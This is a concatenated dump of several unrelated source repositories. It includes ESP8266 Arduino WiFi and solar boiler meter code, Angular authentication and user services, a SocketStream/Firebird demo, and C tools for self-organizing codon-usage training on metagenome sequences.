#include <Arduino.h>
#include "Debug.h"
bool WiFiComponent::ready = false;
WiFiComponent::WiFiComponent(const char* ssid, const char* password) {
ap_id = ssid;
ap_password = <PASSWORD>;
}
WiFiComponent::~WiFiComponent() {
}
void WiFiComponent::setup() {
Debug::getInstance()->debug("WiFiComponent::setup");
WiFi.disconnect(true);
delay(1000);
//callback from C to C++ needs static function
WiFi.onEvent(reinterpret_cast<WiFiEventCb>(WiFiComponent::onEvent));
WiFi.begin(ap_id, ap_password);
}
void WiFiComponent::process(void) {
}
void WiFiComponent::onEvent(WiFiEvent_t event) {
WiFiComponent::ready = false;
switch (event) {
case WIFI_EVENT_STAMODE_CONNECTED:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_STAMODE_CONNECTED");
break;
case WIFI_EVENT_STAMODE_DISCONNECTED:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_STAMODE_DISCONNECTED");
break;
case WIFI_EVENT_STAMODE_AUTHMODE_CHANGE:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_STAMODE_AUTHMODE_CHANGE");
break;
case WIFI_EVENT_STAMODE_GOT_IP:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_STAMODE_GOT_IP: "
+ WiFi.localIP().toString());
WiFiComponent::ready = true;
break;
case WIFI_EVENT_STAMODE_DHCP_TIMEOUT:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_STAMODE_DHCP_TIMEOUT");
break;
case WIFI_EVENT_SOFTAPMODE_STACONNECTED:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_SOFTAPMODE_STACONNECTED");
break;
case WIFI_EVENT_SOFTAPMODE_STADISCONNECTED:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_SOFTAPMODE_STADISCONNECTED");
break;
case WIFI_EVENT_SOFTAPMODE_PROBEREQRECVED:
Debug::getInstance()->info(
"WiFiComponent::onEvent WIFI_EVENT_SOFTAPMODE_PROBEREQRECVED");
break;
default:
Debug::getInstance()->error(
"WiFiComponent::onEvent UNKNOWN EVENT: " + String(event));
break;
}
if (WiFiComponent::ready) {
Debug::getInstance()->info("WiFiComponent::onEvent ready");
} else {
Debug::getInstance()->info("WiFiComponent::onEvent not ready");
}
}
bool WiFiComponent::isReady() {
return WiFiComponent::ready;
}
<file_sep>// The author disclaims copyright to this source code.
#ifndef WIFICOMPONENT_H
#define WIFICOMPONENT_H
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include "Component.h"
/**
* The server handles client requests on every loop.
*/
class WiFiComponent: public Component, public Process {
public:
WiFiComponent(const char* ssid, const char* password);
virtual ~WiFiComponent();
void setup();
void process();
bool isReady();
static bool ready;
private:
static void onEvent(WiFiEvent_t event);
const char* ap_id;
const char* ap_password;
wl_status_t previousStatus = WL_IDLE_STATUS;
};
#endif
<file_sep># SolarBoilerMeter
An Arduino based solar water boiler energy meter.
Used to gain insight into the energy balance of our solar water boiler.
## Measurements
* electric current [A]
* electric voltage [V]
* water temperature [°C]
## Calculations
* energy consumption [J] by the electric motor and electronics
* energy content [J] the volume and temperature of the water contained
* energy storage [J] the energy in flow from solar heated water
* energy release [J] the energy out flow to heating exchanger
* energy loss [J] the energy out flow from stored water to ambient temperature.
## Components
* WeMos D1mini (ESP8266) development board
* INA219 current and voltage sensor
* DS18B20 one wire temperature sensor
Using an object oriented approach to divide the application into components.
Reducing complexity by making all components similar in structure and usage.
* Component
* Wattmeter
* Thermometer
* Boiler
* WebServer
## Physics
### Q = m×C×ΔT
* Q: heat [J]
* m: mass [kg]
* C: heat capacity [J/kg×K] for water this is 4184 [J/kg×K]
* ΔT: temperature change [K]
### P = U×I
* P: power [W]
* U: voltage [V]
* I: current [A]
### Conversion
* 1 Ws = 1 J
* 1 kWh = 3.6 MJ
* Δ1 °C = Δ1 K
<file_sep>// The author disclaims copyright to this source code.
#include "DebugLog.h"
#include "Debug.h"
DebugLog::DebugLog(String name) : Log() {
source = name;
}
DebugLog::~DebugLog() {
}
void DebugLog::setup() {
Debug::getInstance()->debug("DebugLog::setup");
}
void DebugLog::log(String value) {
Debug::getInstance()->info("DebugLog::log " + source + "=" + value);
}
<file_sep>// The author disclaims copyright to this source code.
#ifndef POWERCOLLECTOR_H
#define POWERCOLLECTOR_H
#include "Component.h"
#include "Clock.h"
#include "Log.h"
#include "Thermometer.h"
#include "Wattmeter.h"
class PowerCollector: public Component, public Input, public Output {
public:
enum State {
WAITING, MEASURING, LOGGING
};
PowerCollector(Clock *clock, Wattmeter* meter, Log* currentLog,
Log* voltageLog, Log* powerLog, unsigned long measurementIntervalSeconds);
virtual ~PowerCollector();
void setup();
void read();
void write();
private:
Clock* clock;
Wattmeter* meter;
Log* currentLog;
Log* voltageLog;
Log* powerLog;
State state;
unsigned long measurementIntervalMillis;
unsigned long nextMeasurementTimestamp;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#include <Wire.h>
#include "Debug.h"
#include "PowerCollector.h"
PowerCollector::PowerCollector(Clock *clk, Wattmeter* m, Log* c, Log* v, Log* p, unsigned long measurementIntervalSeconds) {
clock = clk;
meter = m;
currentLog = c;
voltageLog = v;
powerLog = p;
state = WAITING;
nextMeasurementTimestamp = 0;
measurementIntervalMillis = measurementIntervalSeconds * 1000;
}
PowerCollector::~PowerCollector() {
}
void PowerCollector::setup() {
Debug::getInstance()->debug("PowerCollector::setup");
}
void PowerCollector::read() {
if (state == WAITING) {
unsigned long now = clock->getTimestamp();
if (now > nextMeasurementTimestamp) {
Debug::getInstance()->debug("PowerCollector::read next measurement");
state = MEASURING;
meter->startMeasurement();
}
} else if (state == MEASURING && meter->isReady()) {
Debug::getInstance()->debug("TemperatureCollector::read next measurement ready");
state = LOGGING;
}
}
void PowerCollector::write() {
if (state == LOGGING) {
unsigned long now = clock->getTimestamp();
nextMeasurementTimestamp = now + measurementIntervalMillis;
state = WAITING;
voltageLog->log(String(meter->getBusVoltage(), 2));
currentLog->log(String(meter->getShuntCurrent(), 2));
powerLog->log(String(meter->getBusPower(), 2));
}
}
<file_sep>// The author disclaims copyright to this source code.
#ifndef DEBUGLOG_H
#define DEBUGLOG_H
#include <Arduino.h>
#include "Log.h"
class DebugLog : public Log {
public:
DebugLog(String source);
virtual ~DebugLog();
void setup();
virtual void log(String value);
private:
String source;
};
#endif
<file_sep>// The author disclaims copyright to this source code.
#include <Wire.h>
#include "Debug.h"
#include "TemperatureCollector.h"
TemperatureCollector::TemperatureCollector(Clock *clk, Thermometer* m, Log* l, unsigned long measurementIntervalSeconds) {
clock = clk;
meter = m;
log = l;
state = WAITING;
nextMeasurementTimestamp = 0;
measurementIntervalMillis = measurementIntervalSeconds * 1000;
}
TemperatureCollector::~TemperatureCollector() {
}
void TemperatureCollector::setup() {
Debug::getInstance()->debug("TemperatureCollector::setup");
}
void TemperatureCollector::read() {
if (state == WAITING) {
unsigned long now = clock->getTimestamp();
if (now > nextMeasurementTimestamp) {
Debug::getInstance()->debug("TemperatureCollector::read next measurement");
state = MEASURING;
meter->startMeasurement();
}
} else if (state == MEASURING && meter->isReady()) {
Debug::getInstance()->debug("TemperatureCollector::read next measurement ready");
state = LOGGING;
}
}
void TemperatureCollector::write() {
if (state == LOGGING) {
unsigned long now = clock->getTimestamp();
nextMeasurementTimestamp = now + measurementIntervalMillis;
state = WAITING;
log->log(String(meter->getTemperatureC(), 2));
}
}
| c31537c92345b9af76c9c5092f683c73bf5c29d1 | [
"Markdown",
"C++"
] | 19 | C++ | johanvdp/SolarBoilerMeter | 7cc5d25431e2b48cce6678d9c3a4c929a54d243a | 36edb1edb84452678e904955e7b26827d7116fbb |
refs/heads/master | <repo_name>johntom/ss-angular-demo<file_sep>/conf.js
module.exports = {
webServer: {
port: 3002
}
};<file_sep>/server/routes/demoRoute.js
// server/routes/demoRoute.js
// we can apply middleware to http requests as well as rpc
var mw = require('../middleware/demoMiddleware.js');
console.log(mw);
/**
* This is a sample routing configuration for
* ExpressJS. You can add one or multiple routes
* here, for the express purpose of serving explicit
* HTTP requests. I do this mostly to bolt on
* a standard RESTful/JSON api for other clients
*/
var route = (function () {
// socketstream obj
var ss;
return {
/**
* Pass in the socketstream object in case you want to use pubsub from
* within the route code
*
* @param {Object} app ExpressJS app
* @param {Object} ss SocketStream object
*/ // ,database
init: function (app, ss) {
this.ss = ss;
// add standard express 3.0 routes here
// if you need to build up web service api
// here we apply 'mw' middleware before serving the /demo request
// [ http://host:port/demo ] will get you here
app.get('/demo', mw.foobar(), function (req, res) {
console.log("Here's what foobar middleware has to say " + req.foobar);
// we can pubsub through socketstream here, too
ss.api.publish.all('foo:bar', 'foo:bar was called');
return res.json({response: "you just got foo'd"});
});
}
};
}());
module.exports = route;<file_sep>/server/middleware/demoFirebird.js
// server/middleware/demoMiddleware.js
var fs = require('fs'),
fb = require('node-firebird') ; // jrt
// jrt
exports.dataconnect = function () {
return function (req, res, next) {
var CFG = LoadConfig();
console.log(CFG);
CFG.connections = CFG.connections || [];
console.log('Middle---------CFG.host,CFG.port, CFG.database,CFG.user,CFG.password,CFG.pagesize,CFG.role---------');
console.log(CFG.host, CFG.port, CFG.database, CFG.user, CFG.password, CFG.pagesize, CFG.role);
console.log('------------------');
function LoadConfig() {
var cfg = {};
try {
fs.statSync(__dirname + '/cfg/cfg.json');
var sCfg = fs.readFileSync(__dirname + '/cfg/cfg.json', 'utf8');
cfg = JSON.parse(sCfg);
console.log('CFG ', __dirname);
}
catch (e) {
console.log("Error loading config " + e.message)
}
return cfg;
}
function logerror(err) {
console.log(err.message);
}
fb.attachOrCreate(
{
host: CFG.host, database: CFG.database, user: CFG.user, password: <PASSWORD>
},
function (err, db) {
if (err) {
console.log(err.message);
} else {
database = db;
test1();
console.log("Im in the middleware \n\r db connected " ); //,database
}
}
);
test1 = function () {
// qrystr = 'select ID,"Description" from "Codes" where id <10';
qrystr = 'select ID from "Staff" where id <10';
console.log('Midd qrystr.query result "Staff" ', qrystr);
database.execute(qrystr, function (err, results, fields) {
console.log('Midd database.query result "Staff" ', results);
},
logerror);
};
req.dataconnect = database;
return next();
};
};
exports.foobarfb = function () {
/**
* This is a middleware function that
* can be applied to both websockets and http
* requests. This middleware is being applied
* to both 'server/routes/demoRoute.js' and 'server/rpc/demoRpc.js'
* @param {Object} req request object
* @param {Object} res response object
* @param {Function} next next middleware function in chain
* @return {Void} nothing
*/
return function (req, res, next) {
// tack a 'foo' property on req object just to show how this works
// if (req) {
// req.foobar = 'Hi, from foo.bar middleware';
// }
var CFG = LoadConfig();
console.log(CFG);
CFG.connections = CFG.connections || [];
console.log('Middle---------CFG.host,CFG.port, CFG.database,CFG.user,CFG.password,CFG.pagesize,CFG.role---------');
console.log(CFG.host, CFG.port, CFG.database, CFG.user, CFG.password, CFG.pagesize, CFG.role);
console.log('------------------');
function LoadConfig() {
var cfg = {};
try {
fs.statSync(__dirname + '/cfg/cfg.json');
var sCfg = fs.readFileSync(__dirname + '/cfg/cfg.json', 'utf8');
cfg = JSON.parse(sCfg);
console.log('CFG ', __dirname);
}
catch (e) {
console.log("Error loading config " + e.message)
}
return cfg;
}
function logerror(err) {
console.log(err.message);
}
fb.attachOrCreate(
{
host: CFG.host, database: CFG.database, user: CFG.user, password: CFG.password
},
function (err, db) {
if (err) {
console.log(err.message);
} else {
database = db;
test1();
console.log("middleware \n\r db connected " ); //,database
}
}
);
test1 = function () {
// qrystr = 'select ID,"Description" from "Codes" where id <10';
qrystr = 'select ID from "Staff" where id <10';
console.log('Midd qrystr.query result "Staff" ', qrystr);
database.execute(qrystr, function (err, results, fields) {
console.log('Midd database.query result "Staff" ', results);
},
logerror);
};
req.foobarfb = results;
// must call next on success, or next(err) if you want to bail
return next();
};
};<file_sep>/server/rpc/demoRpc.js
// server/rpc/demoRpc.js
exports.actions = function (req, res, ss) {
// use session middleware
req.use('session');
// use foo middleware
//1 req.use('demoMiddleware.foobar');
//req.use('demoFirebird.foobarfb');
req.use('demoFirebird.dataconnect');
// stupid mock date we return
var foos = [
{ firstname: 'foo', lastname: 'jones' },
{ firstname: 'jiminy', lastname: 'rickets' }
];
return {
// call in client like ss.rpc('foo.get', function (err, obj) {});
get: function () {
console.log("midd here's what foo middleware has to say: " + req.dataconnect);//foobarfb);
// standard res(err, obj)
// err: an error if it occurred, else null
// obj: the obj result to return if no error
return res(null, foos);
}
// add more rpc functions as needed
};
}; | 9b9e5c04997f5a47f8e0b589d38dced7cb877711 | [
"JavaScript"
] | 4 | JavaScript | johntom/ss-angular-demo | 0710a078ff450058e44b845456394f8c9ea582c1 | 23d4334a7bb204b3e2b8b749b99bdd589ea3254d |
refs/heads/master | <file_sep>import { Component, OnInit } from '@angular/core';
import { AuthService } from '../auth.service';
import { UserService, UserModel } from '../user.service';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {
isLogged: boolean;
users: any;
errorUser = '';
user: any = {};
userjson: any;
constructor(
private authService: AuthService, private userService: UserService
) { }
ngOnInit() {
this.isLogged = this.authService.isAuthenticated();
this.user = {
username: "repuestock",
email: "<EMAIL>",
password: "<PASSWORD>",
password2: "<PASSWORD>",
firstName: "repuestock",
lastName: "repuestock",
cellphone: "978745454"
};
}
authenticate() {
const user = {
username: "admin",
password: "<PASSWORD>"
};
this.authService.authenticate(user)
.subscribe(credentials => {
console.log('authenticate ', credentials);
const data = {
username: user.username,
token: credentials.id_token
};
this.authService.setCredentials(data);
this.isLogged = this.authService.isAuthenticated();
});
}
logout() {
this.authService.logout()
.subscribe(response =>
this.isLogged = this.authService.isAuthenticated());
}
getUsers() {
this.userService.getUsers().subscribe(response => {
console.log('authenticate ', response);
this.users = response.body;
this.errorUser = '';
}, error => {
this.errorUser = error;
});
}
newUser() {
const user: any = this.user;
this.users = [];
this.userService.newUser(user).subscribe(response => {
console.log('newUser ', response);
this.errorUser = '';
this.userjson = response.body;
}, error => {
this.errorUser = error;
this.userjson = '';
});
}
updateUser() {
const user: any = this.user;
this.users = [];
this.userService.updateUser(user, user.username).subscribe(response => {
console.log('updateUser ', response);
this.errorUser = '';
this.userjson = response.body;
}, error => {
this.errorUser = error;
this.userjson = '';
});
}
deleteUser() {
const user: any = this.user;
this.users = [];
this.userService.deleteUser(user).subscribe(response => {
console.log('deleteUser ', response);
this.errorUser = '';
this.userjson = 'usuario eliminado';
}, error => {
this.errorUser = error;
this.userjson = '';
});
}
}<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Observable, BehaviorSubject, of } from 'rxjs';
import { environment } from '../environment';
import { AuthService } from './auth.service';
@Injectable()
export class UserService {
// RUTA API
baseUrl = environment.baseUrl;
constructor(private http: HttpClient, private authService: AuthService) { }
getOptions() {
const savedCredentials = localStorage.getItem('credentials');
if (savedCredentials) {
const _credentials = JSON.parse(savedCredentials);
console.log(`Authorization: Bearer ${_credentials.token}`);
const options: any = {
headers : {
"Content-Type": 'application/json',
"Authorization": `Bearer ${_credentials.token}`
},
observe: 'response' as 'body'
};
return options;
} else {
const options: any = {
observe: 'response' as 'body'
};
return options;
}
}
getUsers() : Observable<any> {
const options = this.getOptions();
return this.http.get(`${this.baseUrl}/v1/contacts/users`, options);
}
newUser(context: any): Observable<any> {
const options = this.getOptions();
return this.http.post(`${environment.baseUrl}/v1/contacts/users`, context, options);
}
updateUser(user: UserModel, username?: string): Observable<any> {
const options = this.getOptions();
const currentUsername = username ? username : this.authService.username;
return this.http.put(`${environment.baseUrl}/v1/contacts/users/${currentUsername}`, user, options);
}
deleteUser(user: UserModel): Observable<any> {
const options = this.getOptions();
return this.http.delete(`${environment.baseUrl}/v1/contacts/users/${user.username}`, options);
}
}
export interface UserModel {
active: boolean;
cellphone: string;
email: string;
employee: any;
typeEmployee: string;
fullName: string;
firstName: string;
lastName: string;
roles: any[];
rol: string;
username: string;
}<file_sep>export const environment = {
baseUrl: 'https://rstk-back.atl.jelastic.vps-host.net'
}<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Observable, BehaviorSubject, of } from 'rxjs';
import { environment } from '../environment';
import * as decode from 'jwt-decode';
const credentialsKey = 'credentials';
@Injectable()
export class AuthService {
// RUTA API
baseUrl = environment.baseUrl;
//VARIABLES
authenticationState = new BehaviorSubject(null);
private _credentials: Credentials | null;
constructor(private http: HttpClient) {
this.checkAuth();
}
authenticate(context: LoginContext) : Observable<any> {
return this.http.post(`${this.baseUrl}/auth/authenticate`, context);
}
logout(): Observable<boolean> {
this.setCredentials();
return of(true);
}
isAuthenticated() {
return !!this.credentials;
}
checkAuth() {
const savedCredentials = localStorage.getItem(credentialsKey);
if (savedCredentials) {
this._credentials = JSON.parse(savedCredentials);
this.authenticationState.next(true);
// console.log('this._credentials', this._credentials);
} else {
this.authenticationState.next(false);
}
}
get credentials(): Credentials | null {
return this._credentials;
}
get username() {
const token = this.credentials.token;
return decode(token)['sub'];
}
setCredentials(credentials?: Credentials) {
this._credentials = credentials || null;
if (credentials) {
localStorage.setItem(credentialsKey, JSON.stringify(credentials));
this.authenticationState.next(true);
} else {
localStorage.clear();
// localStorage.removeItem(credentialsKey);
this.authenticationState.next(false);
}
}
}
// MODELOS
export interface LoginContext {
username: string;
password: string;
}
export interface Credentials {
username: string;
token: string;
}
| e76ab8f6cbda6d4cd56bb9f59d03020ccf7767c0 | [
"TypeScript"
] | 4 | TypeScript | BrandoJesus/angular-umzdwe | 21fdb191948e8c7fd7a76d5a8513716961512910 | 3ea957d9f709cbde987be139870cdc61ef2504ca |
refs/heads/master | <file_sep>#ifndef ZJF_UTIL_H
#define ZJF_UTIL_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#define UNUSED(x) (void)(x)
void suicidef(const char* format, ...);
FILE* fopen_or_die(const char* name, const char* mode);
#endif
<file_sep>#include <stdio.h>
#include <string.h>
int train(int argc, char* argv[]);
int seq2qu(int argc, char* argv[]);
int main(int argc, char *argv[])
{
if(argc < 2)
{
fprintf(stderr, "\nUsage: %s <command> [otions]\n\n", argv[0]);
fprintf(stderr, "Commands:\n");
fprintf(stderr, "\ttrain codon usage and phase training via self-orgnizing approach.\n");
fprintf(stderr, "\tseq2qu convert the input sequence file (ACGTTTCGT) into a single quanternary sequence (012333123)\n");
fprintf(stderr, "\t the input file can contain multiple sequences, and the output file contains only one sequence, without space (eg. \\n).\n");
return 1;
}
if(strcmp(argv[1], "train") == 0) return train(argc - 1, argv + 1);
else if(strcmp(argv[1], "seq2qu") == 0) return seq2qu(argc - 1, argv + 1);
else
{
fprintf(stderr, "ERROR: unrecognized command '%s'\n", argv[1]);
return 1;
}
return 0;
}
<file_sep>sega
====
Self-orgnizing approach for metagenome
# Installtion
cd src; make sega
# Usage
## Data Reprocessing
`sega` has a command `seq2qu` to transform the input sequences in FastA or FastQ format to their quanternary representation and concatenates them into a single sequence.
#### Examples:
bin/sega seq2qu test/ecoli_apec_o1.fasta test/ecoli_apec_o1.fasta.qu
## Training
#### Models
See [reference]
#### Examples
If we want to know if there are two different codon usage patterns in E.coli, the option -c should be specified to be 2. We can run 10 iterations to see whether it converges. The training sequence is the first 50000*99 bps.
1. initilize phase labelling
bin/sega train test/ecoli_apec_o1.fasta.qu tmp_dir -c 2 -k 10 n 50000 -w 99
2. initilize frequency tables
bin/sega train test/ecoli_apec_o1.fasta.qu tmp_dir -p test/init_cut -c 2 -k 10 n 50000 -w 99
[reference]: http://benthamscience.com/open/tobioij/articles/V006/28TOBIOIJ.pdf
<file_sep>#include <stdio.h>
#include <zlib.h>
#include "kseq.h"
#include "util.h"
KSEQ_INIT(gzFile, gzread)
int seq2qu(int argc, char* argv[])
{
gzFile fp;
FILE* fq;
kseq_t* seq;
int i, l, qu;
if(argc != 3)
{
fprintf(stderr, "\nUsage: sega seq2qu <input.[fa, fq][.gz]> <out.qu>\n");
return 1;
}
fp = gzopen(argv[1], "r");
if(fp == NULL)
{
fprintf(stderr, "Cannot open %s\n", argv[1]);
return 1;
}
fq = fopen_or_die(argv[2], "w");
seq = kseq_init(fp);
while ((l = kseq_read(seq)) >= 0)
{
for(i = 0; i < l; i++)
{
switch(seq->seq.s[i])
{
case 'A': qu = 0; break;
case 'C': qu = 1; break;
case 'G': qu = 2; break;
case 'T': qu = 3; break;
case 'R': qu = (rand() % 2) == 0 ? 0 : 2; break;
case 'Y': qu = (rand() % 2) == 0 ? 1 : 3; break;
case 'M': qu = (rand() % 2) == 0 ? 0 : 1; break;
case 'K': qu = (rand() % 2) == 0 ? 2 : 3; break;
case 'W': qu = (rand() % 2) == 0 ? 3 : 0; break;
case 'S': qu = (rand() % 2) == 0 ? 1 : 2; break;
case 'B': qu = (rand() % 3) == 0 ? 1 : ((rand() % 2) == 0 ? 2 : 3); break;
case 'D': qu = (rand() % 3) == 0 ? 0 : ((rand() % 2) == 0 ? 2 : 3); break;
case 'H': qu = (rand() % 3) == 0 ? 1 : ((rand() % 2) == 0 ? 0 : 3); break;
case 'V': qu = (rand() % 3) == 0 ? 1 : ((rand() % 2) == 0 ? 2 : 1); break;
case 'N': qu = (rand() % 4) == 0 ? 0 : ((rand() % 3) == 0 ? 1 : (rand() % 2) == 0 ? 2 : 3); break;
default: qu = 4; suicidef("I cant recognize: %c\n", seq->seq.s[i]); break;
}
fprintf(fq, "%d", qu);
}
}
kseq_destroy(seq);
gzclose(fp);
fclose(fq);
return 0;
}
<file_sep>#include "util.h"
void suicidef(const char* format, ...)
{
va_list args;
va_start (args, format);
fflush (stdout);
fprintf (stderr, "FAILURE: ");
if (format != NULL)
{
vfprintf (stderr, format, args);
fprintf (stderr, "\n");
}
va_end (args);
exit (0);
}
FILE* fopen_or_die(const char* name, const char* mode)
{
FILE* f;
f = fopen (name, mode);
if (f == NULL)
suicidef ("fopen_or_die failed to open \"%s\" for \"%s\"", name, mode);
return f;
}
<file_sep>#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <time.h>
#include <stdarg.h>
#include "util.h"
static void cnt(FILE *fp, long n, int dn, int dn_read, int cuNum, float p[cuNum+1][64], float **id_score, float *class_prob, float *phase_prob) {
int i, j, i0, i1, i2, j1, id, id2cu;
char s[1000];
float x, id_score_norm[6*cuNum+1];
x = 0.;
for(id = 0; id < 6 * cuNum + 1; id++)
x += id_score[n/dn][id];
for(id = 0; id < 6 * cuNum + 1; id++) {
id_score_norm[id] = id_score[n/dn][id] / x;
phase_prob[id] += id_score_norm[id];
}
for(id = 0; id < 6 * cuNum + 1; id++) {
id2cu = ceil(id/6.);
class_prob[id2cu] += id_score_norm[id];
j = id%3;
fseek(fp, n+j, 0);
fread(s, 1, dn_read, fp);
for(i = 0; i < dn_read; i++) {
i0 = s[i++] - '0';
i1 = s[i++] - '0';
i2 = s[i] - '0';
j1 = ((id - (id != 0) * (id2cu-1) * 6)/4 ? 63-i2*16-i1*4-i0 : i0*16+i1*4+i2);
//printf("i = %d i0 = %d i1 = %d i2 = %d j1 = %d\n", i, i0, i1, i2, j1);
p[id2cu][j1] += id_score_norm[id];
}
}
}
static float calProb(FILE *fp, long n, int dn, int dn_read, int cuNum, float q[cuNum+1][64], int id) {
long i, j;
int i0, i1, i2, j1, id2cu;
char s[1000];
float x;
fseek(fp, n, 0);
fread(s, sizeof(char), dn, fp);
x = 1.;
id2cu = ceil(id/6.);
j = id%3;
for(i=j; i<dn_read+j; i++) {
i0 = s[i++] -'0';
i1 = s[i++] - '0';
i2 = s[i] - '0';
j1 = ((id - (id != 0) * (id2cu - 1) * 6)/4 ? 63-i2*16-i1*4-i0 : i0*16+i1*4+i2);
x *= q[id2cu][j1];
}
return x;
}
static void iter_E(FILE *fp, int n0, int dn, float **id_score, int cuNum, float q[cuNum+1][64], long nw, float *class_prob, float *phase_prob)
{
long i;
int j, k, dn_read;
long n;
float x, p[cuNum+1][64], p_tc[cuNum+1][64];
//count p, class_prob and phase_prob
for(i = 0; i < cuNum + 1; i++)
class_prob[i] = 0.;
for(i = 0; i< 6 * cuNum + 1; i++)
phase_prob[i] = 0.;
for(i = 0; i < cuNum + 1; i++)
for(j = 0; j < 64; j++)
p[i][j] = 0;
n = n0;
dn_read = dn - 3 + (dn % 3 != 0) * (dn % 3 == 2? 1: -1);
for(i=0; i<nw; i++) {
cnt(fp, n, dn, dn_read, cuNum, p, id_score, class_prob, phase_prob);
n += dn;
if((i+1)%1000000==0)
printf("cnt window NO.%ld\n", i);
}
//normalize class_prob
x = 0.;
for(i=0; i<(cuNum+1); i++)
x += class_prob[i];
for(i=0; i<(cuNum+1); i++)
class_prob[i] = class_prob[i] / x;
phase_prob[0] = 1;
for(i=0; i<cuNum; i++) {
x = 0.;
for(j=1; j<7; j++)
x += phase_prob[i*6 + j];
for(j=1; j<7; j++)
phase_prob[i*6 + j] = phase_prob[i*6 + j] / x;
}
//symmetrize non-coding table of p
for(i=0;i<4;i++)
for(j=0;j<4;j++)
for(k=0;k<4;k++)
p_tc[0][i*16+j*4+k] = p[0][63-k*16-j*4-i];
for(j=0;j<64;j++)
p[0][j] = (p[0][j] + p_tc[0][j])/2;
//convert q to q(order-1)
for(i=0; i<(cuNum+1); i++) {
x = 0.;
for(j=0; j<64; j++)
x += p[i][j];
for(j=0; j<64; j++){
q[i][j] = 64*p[i][j]/x;
}
}
}
static float iter_M(FILE* fp, long n0, int dn, float** id_score, int cuNum, float q[cuNum+1][64], long nw, float* class_prob, float* phase_prob)
{
int i, j, cuid, id, id2cu, dn_read;
long n;
float max, xcu[cuNum], Q = 0.;
dn_read = dn - 3 + (dn % 3 != 0) * (dn % 3 == 2? 1: -1);
//calculate posterior probability
n = n0;
for(i=0; i<nw; i++) {
for(j=0; j<(6*cuNum+1); j++) {
id2cu = ceil(j/6.);
id_score[i][j] = class_prob[id2cu] * phase_prob[j] * calProb(fp, n, dn, dn_read, cuNum, q, j);
}
//Get the max score for calculate Q
for(j=0; j<(cuNum+1); j++)
xcu[j] = 0.;
for(j=0; j<(cuNum*6+1); j++) {
id2cu = ceil(j/6.);
xcu[id2cu] += id_score[i][j];
}
max = xcu[0];
cuid = 0;
for(j=1; j<cuNum; j++) {
if(max<xcu[j]) {
max = xcu[j];
cuid = j;
}
}
if(0 == cuid){
Q += log(max);
}else{
max = id_score[i][cuid*6-5];
id = cuid*6-5;
for(j=cuid*6-4; j<(1+cuid*6); j++) {
if(max<id_score[i][j]) {
max = id_score[i][j];
id = j;
}
}
Q += log(max);
}
n += dn;
if((i+1)%1000000==0)
printf("infer window NO.%d\n", i);
}
return Q;
}
static int err(float e, int cuNum, float q[cuNum+1][64], float q1[cuNum+1][64]) {
int i, j;
float x=0.;
for(i=0; i<(cuNum+1); i++)
for(j=0; j<64; j++)
x += (q[i][j] - q1[i][j]) * (q[i][j] - q1[i][j]) / (q[i][j] + q1[i][j] + 0.00000001);
//x += abs(q[i][j] - q1[i][j]);
for(i=0; i<(cuNum+1); i++)
for(j=0; j<64; j++)
q1[i][j] = q[i][j];
printf("err: %7.4f\n", x);
return(x>e?1:0);
}
static void fprintf_prob(FILE* fq, float P, float Q, float* class_prob, float* phase_prob, float codon_prob[][64], int cuNum, int k)
{
int i, j;
fprintf(fq, "@#### k = %d\n", k);
fprintf(fq,"P: %7.4f Q: %7.4f\n", P, Q);
for(j = 0; j < cuNum + 1; j++)
fprintf(fq, "%7.4f ", class_prob[j]);
fprintf(fq, "\n");
fprintf(fq, "%7.4f\n", phase_prob[0]);
for(i = 0; i < cuNum; i++) {
for(j = 1; j < 7; j++) {
fprintf(fq, "%7.4f ", phase_prob[i*6 + j]);
}
fprintf(fq, "\n");
}
for(i = 0; i < cuNum + 1; i++) {
for(j = 0; j < 64; j++) {
fprintf(fq, "%7.4f ", codon_prob[i][j]);
}
fprintf(fq, "\n");
}
}
static float calP(int cuNum,float** score, long nw)
{
long i;
int j;
float sum;
float P = 0.;
for(i=0; i<nw; i++) {
sum = 0.;
for(j=0; j<(6*cuNum+1); j++) {
sum += score[i][j];
// sum += 1;
}
P += log(sum);
}
return P;
}
static void readProb(const char* fileName, int cuNum, float* class_prob, float* phase_prob, float codon_prob[][64], float codon_prob_old[][64])
{
// Read frequency table
// The first line contains the number of non-coding classes
//
FILE* fp;
int i;
int j;
if((fp = fopen(fileName, "r")) == NULL) {
fprintf(stderr, "\nFile %s not found!\n", fileName);
exit(0);
}
for(i = 0; i < cuNum + 1; i++) {
fscanf(fp, "%f", &class_prob[i]);
}
for(i = 0; i < cuNum * 6 + 1; i++) {
fscanf(fp, "%f", &phase_prob[i]);
}
for(i = 0; i < cuNum + 1; i++) {
for(j = 0; j < 64; j++) {
fscanf(fp, "%f", &codon_prob[i][j]);
codon_prob_old[i][j] = codon_prob[i][j];
}
}
fclose(fp);
}
int train(int argc, char *argv[]) {
if(11 != argc && 13 != argc) {
fprintf(stderr, "\nUsage: sega train <infile.qu> <outdir> [options]\n");
fprintf(stderr, "\nOptions:\n");
fprintf(stderr, "\t-p <string> optional, use it when you want to begin with specifying a codon usage file instead of generating a random phase for each window.\n");
fprintf(stderr, "\t-c <int> categories for coding pattern.\n");
fprintf(stderr, "\t Assuming there are 2 different species in the metagenome, you can use -c 2.\n");
fprintf(stderr, "\t-k <int> iteration steps, used in absence of -e.\n");
fprintf(stderr, "\t-e <float> iteration threshold (the distance of codon usage tables between two iterations), used in absence of -k.\n");
fprintf(stderr, "\t-n <int> number of windows for trainning.\n");
fprintf(stderr, "\t-w <int> width of window. choose a multiple of 3, eg. 90.\n");
fprintf(stderr, "\t Your sequence should be longer than the product of -n and -w options.\n");
return 0;
}
